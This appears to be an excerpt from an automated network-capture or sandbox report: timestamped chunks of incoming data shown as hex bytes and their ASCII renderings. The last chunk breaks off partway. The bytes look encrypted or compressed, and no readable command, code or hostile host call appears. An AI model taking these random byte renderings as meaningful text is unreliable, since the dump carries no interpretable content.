2023-10-13 14:06:11 UTC	1148	IN	Data Raw: 68 3d 11 82 b8 e8 4d 0f d6 f4 81 ea c1 2b 74 7b 31 4f 9b 4c 0f 13 5f d0 b2 de 56 28 b8 a5 03 c7 fc 14 2d f7 d0 4d 10 c2 86 11 e4 85 e7 07 ba 77 1e 67 b4 9f d2 62 c3 4a b1 13 50 23 da 4a 58 33 8c 28 2e f6 08 54 c6 8e df aa 4b ce fb ac 3d ce 35 76 68 31 f2 c1 48 57 e9 31 f9 8a 84 95 db d0 a6 30 05 a7 2c d8 0e 71 56 5b 77 dd 33 54 6e 75 1a ec 5e 69 2b d9 a3 81 1e f0 d2 69 a9 62 eb 33 fa 61 ae a9 f2 61 ca ae b3 d3 4d c7 ac fa d5 eb f9 4b 97 a6 14 6f 60 b5 e0 0a 38 f7 54 76 49 b5 74 09 ea 66 17 5a d1 14 f2 14 94 17 e0 fb 48 02 da c8 d2 62 e4 4e 26 20 0d cb 91 72 58 1d 16 98 c1 b6 6b 73 2b a3 84 ac b1 92 52 c4 a1 23 3f 05 bb aa f9 7a 03 fc 36 03 a7 ff d2 ce 0e 6d 60 e9 32 22 f7 ed b6 5c dd 0a 40 63 86 12 fe e2 8a 9d b7 50 33 49 94 95 ba 12 ae 96 78 83 29 07 ee Data Ascii: h=M+t{1OL_V(-MwgbJP#JX3(.TK=5vh1HW10,qV[w3Tnu^i+ib3aaMKo`8TvItfZHbN& rXks+R#?z6m`2"\@cP3Ix)
2023-10-13 14:06:11 UTC	1164	IN	Data Raw: 7b 6c 80 bf 7b e2 39 f9 4f c1 e6 92 ec e6 2e 24 29 a7 34 22 fb 18 a1 e6 c0 43 3e df f1 dc ca 2d f5 ef 0a 63 62 bf 9a c0 cc 80 49 9d 36 eb 70 b2 48 d2 cc c9 8d da b7 8c 60 fd b0 89 c2 bd 3a e2 8d cd 79 92 16 6d 98 d3 cc 35 40 a4 f3 63 f6 6a 9e 8a 37 2b 6d 89 9c 45 0f 93 af 68 91 b3 d9 48 c3 69 84 7e 79 51 dc 09 55 3f c6 b1 01 3c ef ef 6f 02 20 3b 79 9c 4c 8d 58 1b 5c c2 a9 d9 32 50 f0 7e e9 36 50 ef bd 33 18 d9 9e ab 32 cb 64 2d 3c a8 db c6 78 f6 63 d1 bb 48 08 d0 ef 39 2e 88 1e eb a4 3e d1 85 03 bb 51 56 e9 7d 78 b9 d4 4e 6c 97 e3 6c b9 2e e1 db 15 4e 30 00 57 95 83 58 da 4d 75 6c 0f 0a 15 89 c8 82 cd 1e 22 b7 c8 2c 06 59 a3 10 a8 2c 9f 12 fc 3a 08 ea ad 69 67 87 8f f2 a2 8c 4b c2 5c 71 cc 78 6a 16 7f 3f 92 d6 50 12 b7 6e 13 13 fb 05 6c f9 23 d6 db 9d 29 Data Ascii: {l{9O.$)4"C>-cbI6pH`:ym5@cj7+mEhHi~yQU?<o ;yLX\2P~6P32d-<xcH9.>QV}xNll.N0WXMul",Y,:igK\qxj?Pnl#)
2023-10-13 14:06:11 UTC	1180	IN	Data Raw: cf 40 c8 21 d7 3a 23 3a 0d 4c 59 3a b4 c5 b4 11 55 5d 02 ae 72 aa 80 ff 2e 34 03 50 58 3c 55 b7 d4 24 c4 fa 1b da 08 a9 8d 74 39 99 ec e4 74 05 39 43 df 11 59 5c 05 eb b2 8f 26 6f 03 a1 92 db 7f 16 f6 5e 2d 36 2a a7 8f f7 be 98 d3 13 1e e9 0d 67 13 ee 74 d9 b9 df 61 e9 78 cb 56 67 4c 7e 98 90 1a 9a 4c 54 7e ed 44 4f 2c be ea 64 3d 43 54 0b 09 4e 0b 95 b9 c9 bd eb cb 75 16 cd 21 a7 4a bb 10 9d 2b 64 44 e9 fb ae 82 38 d9 3a 45 41 e4 03 cf 83 96 82 6f 70 55 cd b0 1e 81 ee a1 63 42 e6 36 50 41 52 4f b6 08 0f e9 97 66 dc ae 95 93 9e f7 6c 4e fd 64 9e 68 f8 60 b3 36 7f 4f 59 d4 06 cb 33 32 8f 23 5a 8b 1d 54 a7 f3 61 12 1b 95 e9 32 c6 f8 7b 9e 63 86 cf 56 a3 46 b0 e3 90 9a fb 88 4a 81 b2 c9 d9 90 0d da 73 e6 74 82 7c c3 bc e4 4a a8 98 86 f0 36 f3 7d 55 78 0a ba Data Ascii: @!:#:LY:U]r.4PX<U$t9t9CY\&o^-6*gtaxVgL~LT~DO,d=CTNu!J+dD8:EAopUcB6PAROflNdh`6OY32#ZTa2{cVFJst\|J6}Ux
2023-10-13 14:06:11 UTC	1196	IN	Data Raw: 98 bf bf 0a ab c6 20 9f 37 e0 1f 30 4d d1 a3 a9 1e 87 a8 a0 a2 79 1a b7 96 29 48 97 23 e9 e3 ee a6 02 fa ef 9a ac 26 8f 8d 70 9e 68 ab fb 36 74 ed 87 3d c8 19 f8 2e 64 b9 de ce f2 5c a2 7b 68 44 f8 1b 6c d4 96 30 9c a5 25 0d 33 22 e2 73 5e a1 17 93 d2 51 64 11 18 10 4a 77 07 3b b3 9d e9 e9 31 f8 f0 01 b9 48 d9 22 87 61 2c 1c a6 a9 0b 88 95 2f fd 5a a3 9b aa ff 20 65 17 39 fe 2f aa 8e 67 a4 4f 2f 94 d0 9f f7 1b 10 7d 2c 06 1a 23 93 6b 8e 77 02 13 df 9c 64 a2 2c 7e 20 f4 f1 7c 37 56 2d ab 9f a7 28 09 24 12 72 d1 9d 0e 89 9f d1 a2 42 1d 53 ed d1 4c 3b 88 2e 70 9f 4a 32 89 3a d1 ea 86 16 83 3c e1 7e f0 f4 8c 69 53 d6 2a 9c bf 19 23 64 b9 5c d5 eb 25 c6 46 e7 0d ec 13 92 e9 4c 81 68 d5 23 3f 68 f8 c7 33 8b db f8 34 fb 6c 40 23 34 07 5c 33 f1 2c 3c 07 26 06 90 Data Ascii: 70My)H#&ph6t=.d\{hDl0%3"s^QdJw;1H"a,/Z e9/gO/},#kwd,~ \|7V-($rBSL;.pJ2:<~iS*#d\%FLh#?h34l@#4\3,<&
2023-10-13 14:06:11 UTC	1212	IN	Data Raw: 2b 5f ce 3b 62 0a 39 7d 4d 0c d5 d7 49 42 a2 76 b8 d7 41 72 dd 65 9e 1e 76 95 58 88 97 8d fd 39 d1 f3 43 70 b4 55 05 9f 02 ab fa ed 98 87 10 c3 b9 55 d9 a9 cf 96 de ec 16 1b d9 da b9 e4 69 0c 71 e4 f9 c5 eb c1 c4 96 9d 13 bb d8 03 80 eb 99 82 e2 28 06 43 67 75 fd 4c 77 3e 60 e6 39 e0 c6 5a 0b bd 61 b2 c2 77 cf 95 4b d9 17 04 2b ae c0 d9 79 c9 a2 02 ea 31 02 f0 2f 64 b9 1a 25 05 19 ae 93 80 4c c7 7a 31 e8 52 3e fd e5 b9 2e d5 ea f4 4b d7 06 28 26 07 0c 84 0d 27 ca e4 fb 03 cf fa 3e 5e b3 fc 2d 18 16 79 a9 d5 2b b8 50 49 ed 1e 2e 74 b5 df 01 68 93 f5 0c 07 92 01 a7 ec af d3 d5 8d 85 3f 9a a2 d1 b0 60 f4 9f 6c d5 54 4d a8 89 a8 94 02 23 17 6c a0 0c 16 f9 0e 48 7e 04 65 de c7 34 94 22 0c 37 13 48 dd 2d 9a 7e 8d f6 46 3e aa 5a ff e9 ac f2 20 86 77 c6 04 9f f4 Data Ascii: +_;b9}MIBvArevX9CpUUiq(CguLw>`9ZawK+y1/d%Lz1R>.K(&'>^-y+PI.th?`lTM#lH~e4"7H-~F>Z w
2023-10-13 14:06:11 UTC	1228	IN	Data Raw: de d9 6d 11 43 74 74 26 d4 56 cb 6e e2 97 6a 1c 63 0c 95 96 9a e1 68 72 1a b0 c2 9b 20 d6 2f d9 80 95 a9 cc 9b 55 54 2a eb 79 2c ff 1a 87 14 98 17 45 99 48 7f 7c 49 86 77 fa 38 30 58 0e c6 0c ab c6 f8 aa 95 f1 65 3d 00 92 2d ef d8 55 dd 91 66 ca 38 21 f7 81 2c 6e 8d 24 4b 5a 5f 0d 75 16 f9 e7 6d 7c ae 16 62 4e 0c a6 1c 8b 96 54 97 f0 3b 47 f6 7b 64 31 f3 c7 85 05 ec 25 81 c3 fc 93 1c 61 e4 0d 42 89 dc 6c e5 6a de 7a 09 4f ee ce b6 72 81 1c 9a 3a 1c d7 8b ce 92 d2 30 8c 26 8e ef b4 b9 7b 9e 97 68 01 4f 6f 62 e8 c7 69 c2 3c 0e ba e7 91 7a 5b 90 67 19 01 f1 36 fd 2a c6 71 6b 06 3e e2 74 3c 59 7f 9f 17 f1 52 33 00 9d 90 c1 e3 71 21 f4 75 a5 15 b4 f9 cd c9 b4 61 e3 a9 be cb 49 91 cc 70 c6 bf e7 bf 42 8f 7a 8d 02 6e 3d f5 30 bf 1b d3 ab ce c8 75 b1 bf 46 54 1f Data Ascii: mCtt&Vnjchr /UTy,EH\|Iw80Xe=-Uf8!,n$KZ_um\|bNT;G{d1%aBljzOr:0&{hOobi<z[g6qk>t<YR3q!uaIpBzn=0uFT
2023-10-13 14:06:11 UTC	1244	IN	Data Raw: 4d 2d 88 fb 9f ce 20 8d 3e 80 7c 18 db 07 18 44 b9 90 91 d5 2f 0e 93 21 e0 12 ec 5c bb 9c 63 5d 51 67 89 bc e3 0e 6b 55 0d 3e d0 6b 74 78 ea d0 42 f7 47 a4 a3 e2 8a 58 26 80 01 60 a0 fa 53 15 85 a2 e4 72 c3 cb f5 73 9e 86 ad 07 1d f7 07 b4 84 64 5d f6 5e 09 a4 d9 94 f0 8e 36 27 84 cb 56 f6 e7 77 0e a2 e1 68 26 00 30 94 29 36 52 e1 79 2e f2 6a cf fc 6b 23 64 0f 11 bd e0 b8 9c 35 93 f4 c4 b5 a1 a6 b0 bc c5 28 b0 de 7c 1f 9e de 6a cb bf ee 04 50 18 55 8a 1c ac 77 93 8e 8f 63 8e ab a3 8b f6 89 a5 c3 81 c7 55 84 af 04 10 6c 9d 62 38 ab e7 67 5e 96 35 52 3c cf 06 70 79 85 90 2b 9e 8a 60 e6 63 52 e1 31 c6 93 d0 af 97 1c 33 0c 37 cc bb 02 3d 09 5b c2 be 54 d7 a7 4d 95 a6 56 f3 c2 e6 ea 24 fd b9 18 45 d4 6a a4 63 ad 75 64 ea f3 49 76 2e 4b cd 27 77 3e 1a 37 6b bd Data Ascii: M- >\|D/!\c]QgkU>ktxBGX&`Srsd]^6'Vwh&0)6Ry.jk#d5(\|jPUwcUlb8g^5R<py+`cR137=[TMV$EjcudIv.K'w>7k
2023-10-13 14:06:11 UTC	1260	IN	Data Raw: af ef 8f 83 4a e8 db 1f a5 0a 0d 85 b2 8e 37 12 6b d8 cb f4 fb bc a0 a8 b6 4b 94 84 11 69 ea 27 26 4f 31 7e 77 77 93 94 62 b8 34 37 31 db ee 3d 29 e6 1b 18 45 34 f9 9c 57 9b 74 61 63 2e 08 c0 45 8b 93 38 e6 7f 72 23 0c 72 e5 34 45 05 c5 ad c5 59 f5 24 94 a7 bb 20 a7 05 15 9d df 4a ef 41 f5 65 77 6c 73 3c 2a f1 6b 32 7f db 3b 1f a9 ff 6e ad bd 4d c0 a6 fa 92 ea 44 2c 3d 40 67 4c 5a fa c1 bf 54 da c3 c9 e7 5f 27 ef 87 b7 2c f3 0f 46 68 00 a2 06 40 0b 3b ab fc 0a 59 46 ab 3e 63 74 6e b3 ec 97 b2 38 e3 0c 2f 77 37 cd 6c cf be e6 c4 81 2b 94 93 c1 6c 88 d0 45 3e 52 e1 34 0c 8c 3c 0b 1f 80 c1 ca ae 87 57 d2 f0 58 76 d0 f4 05 4b 14 14 69 14 75 89 ca 3b aa 88 6e 47 a3 ca 3e ac eb f4 17 d1 41 79 fb 97 41 1a 80 67 2e 74 23 64 f9 95 58 08 4f d4 60 c3 83 17 95 87 40 Data Ascii: J7kKi'&O1~wwb471=)E4Wtac.E8r#r4EY$ JAewls<*k2;nMD,=@gLZT_',Fh@;YF>ctn8/w7l+lE>R4<WXvKiu;nG>AyAg.t#dXO`@
2023-10-13 14:06:11 UTC	1276	IN	Data Raw: fa 2b b3 dc de 95 7b 32 ab 75 b7 8a 9b a4 6d c7 72 6e cd 50 a4 e3 8f 7a 11 60 bd df 1c e9 ba d5 1f 18 7b 4d 7b e2 cd 3c 51 d0 99 86 7c 48 78 74 2d 7c fd aa c0 43 ce bc d2 0f 19 59 c0 de f1 50 39 d2 85 98 5f 42 1c 1c 39 f7 1e 06 b6 09 81 ce 67 41 05 3c 1c 2b a8 b4 d7 68 0a fc 95 38 fa 9e 10 8e 71 18 19 d3 db cf c6 b0 2e 48 cf 99 b7 80 4d cc eb eb 2c dd 48 7f 38 53 22 57 81 cb 45 9a 8f 07 a1 0e 81 e1 7e c1 45 7c 43 02 b1 5c 3d b9 ce 8a c5 49 5e fb bb 41 ac e6 20 14 8c e8 27 d4 97 04 d3 bf fd d2 ac c2 b5 37 df cf 94 ce f1 8d cb b0 a2 ee 62 84 14 f8 af c2 4f 8b 3c 37 fd 54 39 b5 75 dc 18 7f 67 3c 74 06 eb c3 1f e2 e5 a0 78 42 0a 5b 36 15 4a 47 2f e0 ac 98 0f 55 55 f2 dd 0b c6 99 ea 54 5a b9 6e b3 3f 02 53 0e 75 2b ec 8c 44 54 75 d5 3f 90 f1 8b 7e 50 56 04 84 Data Ascii: +{2umrnPz`{M{<Q\|Hxt-\|CYP9_B9gA<+h8q.HM,H8S"WE~E\|C\=I^A '7bO<7T9ug<txB[6JG/UUTZn?Su+DTu?~PV
2023-10-13 14:06:11 UTC	1292	IN	Data Raw: be b6 27 82 01 38 0b 28 db cd c2 30 55 e7 1c be d3 0b 88 8c cc 15 3e cc 7c 33 94 6b 07 44 cf 0f 1c bc 7f 51 bd 83 2a eb fe f7 c2 69 21 f8 75 08 30 b9 7f 52 8a 71 b4 df 00 61 5a a9 5c cf 08 be d8 13 e5 37 2c 4f 76 f3 b6 7e 66 4d ca ee bd 04 28 c2 24 e2 40 3e 3e 04 f1 7d fd cb 3f d3 3b fa ee bc 7e 1a a1 39 24 25 b9 0f 35 98 1b 9b dd 68 89 ec 7d b3 26 aa cd 4a 91 38 1d 19 08 ca be 6a 5b 44 17 65 e8 40 06 ac 64 1a f8 83 fe ed 9e 8b 99 20 73 f3 cd 2e f3 ab 5b e0 f6 26 de b2 55 38 6b a5 d0 d9 37 82 f4 fb d7 57 71 dd 53 c5 e0 41 8f 25 9e b8 8c d1 80 97 2c 74 26 54 fe de 6c 22 cd 87 ee cb 01 43 49 4a 9c b6 66 e2 4b 56 ac 8b 6d 14 32 29 92 b4 87 6e c7 90 3c f2 d0 58 4e cf 1b ab 79 36 0d 7d 6b 52 79 19 75 c2 ae e6 43 e5 6a 04 87 1c 95 24 52 50 14 1b 74 04 e3 7d 0e Data Ascii: '8(0U>\|3kDQ*i!u0RqaZ\7,Ov~fM($@>>}?;~9$%5h}&J8j[De@d s.[&U8k7WqSA%,t&Tl"CIJfKVm2)n<XNy6}kRyuCj$RPt}
2023-10-13 14:06:11 UTC	1308	IN	Data Raw: c7 43 3d 37 d3 bb dc 8e 00 88 eb f4 fd 88 4d 1f 97 c6 65 0e 17 81 12 38 75 71 87 13 b8 ba d5 da 9d 8b a1 01 64 ad 3c 63 87 36 7b 49 db ba 1b f8 1e 60 0a 4b 8d cc 3f b4 9e 70 b0 3e 83 fe 79 50 ff 21 35 d8 54 5f 83 49 73 0e eb 96 11 11 4f 51 d5 cb a0 c8 d7 c9 46 41 eb de 2c a2 51 9c 01 33 45 53 e4 33 f7 d2 6e 44 24 3e ab 2d b7 33 8a 54 b3 e9 7b c9 26 20 1f 02 cc 23 b3 ff c7 48 1a 53 7c 16 67 25 27 c6 18 64 43 84 f4 05 4c c4 20 45 a8 71 91 2c ad 76 00 61 24 3a 98 19 a5 4d a0 6f bc b2 50 02 d3 bb 83 86 00 65 ad f4 19 3b af 67 de 68 00 1c 82 72 8e 99 24 8a a0 66 ff 24 59 c6 6b 53 27 cc b2 fa 84 6f 86 9c dd 84 8f 8d c7 33 0c 25 60 80 fb b6 82 ef ec 45 f5 80 25 b1 c1 09 5c fb 4c ac 9e 05 e5 cc 79 75 e3 7f c4 4e 41 16 c5 b5 a2 67 3d 8a c7 82 aa 1b 9d 4b 7b 51 71 Data Ascii: C=7Me8uqd<c6{I`K?p>yP!5T_IsOQFA,Q3ES3nD$>-3T{& #HS\|g%'dCL Eq,va$:MoPe;ghr$f$YkS'o3%`E%\LyuNAg=K{Qq
2023-10-13 14:06:11 UTC	1324	IN	Data Raw: a5 b3 40 fe 96 ad eb ff cf 11 01 49 4d 3a c0 38 58 e5 71 86 87 00 94 93 78 37 9a 02 e4 57 9d 12 00 33 4f 35 46 d3 40 55 ed 88 95 c1 0d 55 ab ba 0d 27 8f 87 86 e1 8f 27 68 15 8b 0a 10 cf 45 8a 5c 27 01 5b d8 ba e0 45 b5 38 8d 8d 65 f2 b4 9c 3a 07 17 ba bd 21 7e 3d f3 2a 9d 79 be 82 45 61 9a ba e3 29 45 a9 f7 7c 90 f9 44 45 cc 43 97 48 a1 74 d4 eb b5 3e 2d b6 aa 48 91 19 b5 1c b8 ab c9 aa b2 5b 00 fa 9d 3a 58 e2 fd 0c e4 03 e9 67 5d 9c 65 15 70 7c a4 e6 54 6a 49 ac d0 73 a0 52 df 1a ac ac e2 78 9a 98 cb 10 ad 78 b6 e5 c9 68 d2 46 0e ab 69 4a 24 23 bf 44 6a b8 8e 43 1e 9c ac 73 85 63 89 63 0a ae 04 2a e0 a3 b2 74 be 48 5e 2c 1e f4 6d ee a2 19 a6 c3 d9 54 b8 18 bc 43 14 ec 18 22 a8 24 e4 6a 3e 19 cd ef 72 3d 88 fd 1e 9b e7 44 67 9c e3 60 0c 03 f4 73 30 2c 51 Data Ascii: @IM:8Xqx7W3O5F@UU''hE\'[E8e:!~=yEa)E\|DECHt>-H[:Xg]ep\|TjIsRxxhFiJ$#DjCscctH^,mTC"$j>r=Dg`s0,Q
2023-10-13 14:06:11 UTC	1340	IN	Data Raw: 12 7f 30 99 78 45 d0 75 63 8e 3d 0e 1c 39 06 0b 8c 00 e2 b8 46 25 d1 bc 83 a5 9a 91 cd 2e ed 4a 32 e1 83 e0 fa ec 49 df 64 ca 03 a0 d8 a0 2d 3d a5 ad ae a5 84 7a 4f 80 42 26 67 1b 99 26 03 79 0a 47 0f 18 26 17 dd d6 7c e4 da 0f a6 60 2e cb 4a 23 f7 2f 9b 70 71 c9 a7 a3 39 01 29 59 c1 78 13 b9 c4 34 e4 0c 48 9e af 67 c4 f7 7b 98 f2 5b a6 b3 55 2f 4b 60 5d cf f7 bd 44 51 69 ec 68 31 b2 ef d8 78 7f c7 f1 d7 7a d0 6a 6b 8b f5 e8 90 ec d6 73 f0 a9 fe b5 28 59 1b 76 70 42 9e 72 f9 94 52 df 78 ba 8f 4e 87 ba 9b 88 02 ad 6e 5e e0 62 15 6c d6 0a 15 09 61 30 d8 3e 49 d6 bf 16 14 c1 f1 e3 ed 1b 7f cd 06 78 fa c5 3c 50 05 f2 d3 9e 1d 03 67 e1 15 93 87 83 47 e0 c0 e0 6c 77 56 d4 91 a6 c4 07 34 e5 4b c8 4d 7e 69 0e 00 a6 f2 2c c7 45 06 11 39 b9 75 18 3d 7e e5 b8 7a 33 Data Ascii: 0xEuc=9F%.J2Id-=zOB&g&yG&\|`.J#/pq9)Yx4Hg{[U/K`]DQih1xzjks(YvpBrRxNn^bla0>Ix<PgGlwV4KM~i,E9u=~z3
2023-10-13 14:06:11 UTC	1356	IN	Data Raw: 8e e1 ca 24 bc 21 90 5c 6d cb ae 57 d3 b7 48 9a 77 cb ee 01 75 e0 5d 13 3d ab 20 8b a7 64 63 f7 73 3e 0b f7 45 da cb 7b 4c 6b 44 1d d3 b3 c3 09 52 78 e6 3a 38 a2 e0 94 94 22 e6 e9 0e 42 98 88 74 a9 82 bb 73 a4 23 39 df 3c 69 90 5b f7 25 42 31 d0 7b 28 ec c3 62 b3 f6 56 fd d9 bb 03 5d 62 ab 4a cf f2 7c e2 8d 55 ce 1b 4a 11 3b 1a 3f d3 ae a7 79 5f 0e c5 a1 c6 81 a2 e5 6d dd 22 14 f4 f5 0b d6 60 c1 08 9a 7d ad 1b b5 d6 40 68 d0 2d fd 47 2f e7 5e dd 25 28 45 f9 40 42 a1 c8 15 63 20 e0 32 0b dd e2 2c 2b fe b1 e9 68 44 a2 a7 18 da 87 66 d2 e8 47 d3 4f 93 1c 8c 93 6d b2 e0 46 00 95 97 69 68 af d1 1f 98 f8 c0 fb 26 c3 03 32 be cf b7 f4 fb 6f 09 58 14 c9 ad 10 73 b3 78 d8 0f 48 18 5a 37 4d 5e ef eb a5 ef 09 6a 1a 98 fe 14 33 41 46 5c c5 e6 95 bf 46 eb e3 12 98 bb Data Ascii: $!\mWHwu]= dcs>E{LkDRx:8"Bts#9<i[%B1{(bV]bJ\|UJ;?y_m"`}@h-G/^%(E@Bc 2,+hDfGOmFih&2oXsxHZ7M^j3AF\F
2023-10-13 14:06:11 UTC	1372	IN	Data Raw: da 6f 71 aa da 27 63 2d e8 a3 88 c1 bb 5f bb f4 43 ce 97 9c f5 8a da 1e 73 f9 76 12 e4 2f 55 56 88 83 47 ec 29 38 b9 18 54 45 a3 d5 04 bd 09 cc 7f c4 61 d1 a1 0e d2 79 ee 3f c8 0d 8a cf f1 25 4a e5 d8 68 ac 99 0c a3 4e c2 ac fb f5 5f 38 41 7d c8 d7 58 33 4a 13 1f ff 77 58 d6 20 1d 80 53 2f 9e df c6 3d 9c c5 cb dc 19 0e cd 16 e5 b8 3b 6e 44 68 24 6f fc d5 6a 97 f6 9f cb 17 b8 66 a8 fe 3c 8d dc cc fa db b0 02 ed 4d 80 5f f9 75 67 b6 82 c4 5a a7 e7 e0 3a 62 15 07 c6 a8 05 f6 02 40 ed 16 aa 56 77 e3 a7 b2 ce 36 c3 82 85 2d 21 e9 5c 93 f0 a6 51 9f 34 f8 1e 99 b3 3c 16 dc b5 4c 03 e4 65 8e 2a 54 b0 59 0d d0 57 69 a5 d6 0b 39 21 bd 01 45 55 59 62 d6 2e 1c aa b3 56 08 17 7d 81 6a 7a e7 63 a9 53 87 88 06 a3 94 2a ca fc c5 56 77 82 86 06 d2 a4 d6 13 99 42 40 67 46 Data Ascii: oq'c-_Csv/UVG)8TEay?%JhN_8A}X3JwX S/=;nDh$ojf<M_ugZ:b@Vw6-!\Q4<LeTYWi9!EUYb.V}jzcSVwB@gF
2023-10-13 14:06:11 UTC	1388	IN	Data Raw: 3a e0 6b b6 12 c1 01 f3 ee dc 10 28 bf 2c 60 e6 98 2b e3 c9 f4 b7 04 b8 ec e1 be df 88 5e 0b a9 5d 4c 83 35 0f 4b 95 25 5f 8d bb 68 be 3c ca 29 fa 3f 10 01 5c b9 33 59 dd f0 b1 e8 e3 a4 cb 9c 85 3f 16 9f bc 7c 60 67 cc 55 86 eb 48 82 09 b7 51 22 1b 82 12 76 a5 27 41 aa 43 83 73 d7 43 b5 22 39 e8 f4 0e e2 16 a6 21 bd 69 d0 7a da a2 7c e1 bd 4d 16 75 95 d7 fd 46 a7 69 bf 49 c0 fe d9 2c 29 41 8c 61 05 2a 73 fd 41 c7 b5 22 d9 52 a1 66 88 c1 56 5a 71 08 3a cb e1 69 41 b0 1f 0d 85 a4 8e 54 19 01 39 72 8c 03 90 77 b1 06 d3 f8 59 7f 76 78 77 d3 33 58 5b ba 48 69 bd 53 22 23 a1 6a 4d fd 25 22 26 eb 51 45 0d 3b 3b 82 c8 7f e4 a8 60 97 0e 94 16 0d 0e e2 78 9d 89 5a 1d 1f 07 38 b1 ae 6b 86 78 3b 56 6b 9b 33 43 29 de 02 c0 a9 dc 7e 5c d1 36 e2 1c 2d d1 95 4e 9c 23 62 Data Ascii: :k(,`+^]L5K%_h<)?\3Y?\|`gUHQ"v'ACsC"9!iz\|MuFiI,)Aa*sA"RfVZq:iAT9rwYvxw3X[HiS"#jM%"&QE;;`xZ8kx;Vk3C)~\6-N#b
2023-10-13 14:06:11 UTC	1404	IN	Data Raw: c4 92 16 a4 c5 d4 79 64 41 18 57 53 bd d0 a1 7a 79 f7 8c a3 71 55 28 2f e0 ff cd 8d 4d ca 4f 97 d9 ae 06 e2 5d 54 f8 01 06 b8 49 12 fc 30 c4 b2 be 80 93 c3 46 48 f9 80 71 0b f7 34 2b 9f e6 9a 8c 12 2d 76 fa 3e 68 15 bd 5e bc 13 98 0a 36 a5 23 f3 07 4e 5f b5 28 44 c6 84 b4 1d b8 36 31 ad d9 ef fe 4e 0e 9e 55 a6 82 71 4d 73 61 cb 3b ae e3 6d 2e 36 09 88 7c 04 a4 08 c9 c1 4b 27 ac 7e e2 5f 52 a9 56 63 54 2e 8c 5f d2 a1 4f ba fa d5 9b 62 a7 c4 5d 96 4c 22 12 ca 19 f7 d8 98 fa 5f b9 89 6a 55 70 b4 70 9c 42 c4 c1 eb c4 0e 90 b8 8a 6b b4 0b f4 10 26 3e f7 d5 69 81 8c 8a bb ba fd e7 60 93 12 c0 2a ab 63 f5 30 e2 7b b2 1b ea 00 9a e5 00 47 b2 c5 be 48 65 57 91 de 5f fd a2 5a 65 01 b0 39 00 91 99 36 09 07 6c 4c d0 8a f0 54 f5 b2 99 39 19 17 7e 13 26 c1 ef ed 30 d8 Data Ascii: ydAWSzyqU(/MO]TI0FHq4+-v>h^6#N_(D61NUqMsa;m.6\|K'~_RVcT._Ob]L"_jUppBk&>i`*c0{GHeW_Ze96lLT9~&0
2023-10-13 14:06:11 UTC	1420	IN	Data Raw: 3a 3a 97 59 f2 5e 14 ef 1a 34 8a e8 db 60 7f 64 76 74 91 22 b8 73 04 70 8a 21 97 5d a0 ac 91 ea d5 c0 06 a1 e5 34 a8 56 8d 2b cd 7a 90 48 b0 d3 53 ea 6d 85 c2 24 33 d7 10 12 b6 3a 27 98 12 a0 68 11 58 e2 53 b2 31 e6 cd b1 7a 35 1f 80 b1 e5 d6 fb 74 2d 1b 66 57 5b 57 da 30 77 b6 c7 a1 6d 83 ee a5 8d f3 8c 94 c6 a8 92 ba ba c3 e0 26 00 9c 14 60 46 4c 33 1c 02 dd f7 16 06 d8 1a 58 81 8e 8a e1 d0 b0 0a 5a 08 2d 23 29 6c 3d 23 93 89 05 e2 06 ed 91 9c 43 9f 40 19 de 89 d8 c7 f0 21 43 b6 cf 76 30 0e c9 f2 15 26 d2 42 c4 12 98 66 2e 08 ec ec 77 d0 14 79 31 66 56 26 3b 9f 7f 18 0b bb 06 a4 d5 d8 b9 93 1e fd f0 83 58 6d 2e 0f 30 1e 20 f4 5e 55 ad 3b 1e 45 03 90 c0 e4 7d 5c a3 56 d8 e8 e7 41 a5 27 91 31 60 6a 79 99 e7 29 4a 54 f5 ac d4 ce 40 b2 bf 27 e4 e6 1a a1 67 Data Ascii: ::Y^4`dvt"sp!]4V+zHSm$3:'hXS1z5t-fW[W0wm&`FL3XZ-#)l=#C@!Cv0&Bf.wy1fV&;Xm.0 ^U;E}\VA'1`jy)JT@'g
2023-10-13 14:06:11 UTC	1436	IN	Data Raw: bf 17 c5 c0 ce 31 84 a5 2e 9a a4 45 66 c6 00 75 cb 1e 56 cb 5c 2c df 66 a8 31 dd 6d 73 58 1c 75 67 6c 63 93 bb d4 2e e9 da 34 c9 46 c2 5c 70 42 02 ad e8 e5 f0 b9 0e 7e 47 37 36 6b 57 ad 17 b6 41 af 24 88 0d a9 b7 4d cb 64 f1 f3 85 e6 8e ba a3 d3 75 5b 81 da 0d 44 d0 34 99 3d 17 78 34 c1 15 3e 70 79 96 ab 68 80 30 81 d7 17 2e 68 c1 2b 17 ad 05 e2 75 e4 2b 0b 15 64 00 0d 4b 9e 80 4e 09 31 92 1c e1 25 14 67 ef c1 e6 e3 e2 0e dc ca d4 ba bf f1 e8 b6 2f 9d 10 d7 b6 2c 1f cd 3e 64 8a 8b 52 d1 22 53 48 fa aa 0e 2e 1a 7c aa e0 a7 18 4b 3e c6 94 17 c9 d5 20 c3 29 9d 72 3d 41 5f 1d 93 ef 84 2c 98 fb 2a 0b c9 c1 3d d4 af 45 93 91 81 a8 17 fe 90 07 bb 99 c3 40 23 49 9a 2d 6f 8b f1 bc 95 6b 8d 1c 04 9e 87 cb e5 b2 8a e0 e1 1e bd 47 d7 de 01 68 8c 93 91 82 89 0d 51 4d Data Ascii: 1.EfuV\,f1msXuglc.4F\pB~G76kWA$Mdu[D4=x4>pyh0.h+u+dKN1%g/,>dR"SH.\|K> )r=A_,*=E@#I-okGhQM
2023-10-13 14:06:11 UTC	1452	IN	Data Raw: 31 bc 68 4b 6e 60 28 06 5d 18 e4 bb e4 49 34 6d 08 37 15 8f 6b 0e 4b 6e e6 30 68 d0 1c 3c 8d 9b 9d 97 d9 62 69 19 f4 b1 0b a0 70 6f d6 71 11 01 2e 87 9e 88 4f 0b 03 33 dd ae e7 dd b4 3d d6 ca 78 cf c4 33 1a 96 ed be d5 5c 64 ff d0 4f 60 cd 1a 2c fe e7 fa e9 82 0f 1c 73 22 2b 27 41 c7 69 ca 1e 9a 8d d6 23 69 78 73 95 44 42 75 78 df 94 e3 8d 32 29 c7 43 54 92 16 7a f9 26 bc 43 95 11 3c b4 21 13 72 ca 69 f8 e5 1f e3 e1 0d 53 93 ae 5f cb d7 d5 8b a0 0c f3 49 d4 0d 7c 25 3a c6 ee 8d a7 2c 98 2e 94 94 9d 6b 23 84 b5 44 47 29 df 2c c5 b2 28 f9 f0 e5 79 5c 19 31 6d 39 7c 31 af 9d 40 06 71 09 5f 5c 4b 9f fc ab 32 05 62 04 15 39 f5 50 98 b7 7b 91 f3 f0 7f b2 bb d4 dd 35 f4 6d 65 3b 42 8c 71 7f e6 43 26 82 62 0a 54 b9 0a 89 73 f3 b8 65 8e 51 50 57 f6 25 84 0b fd ff 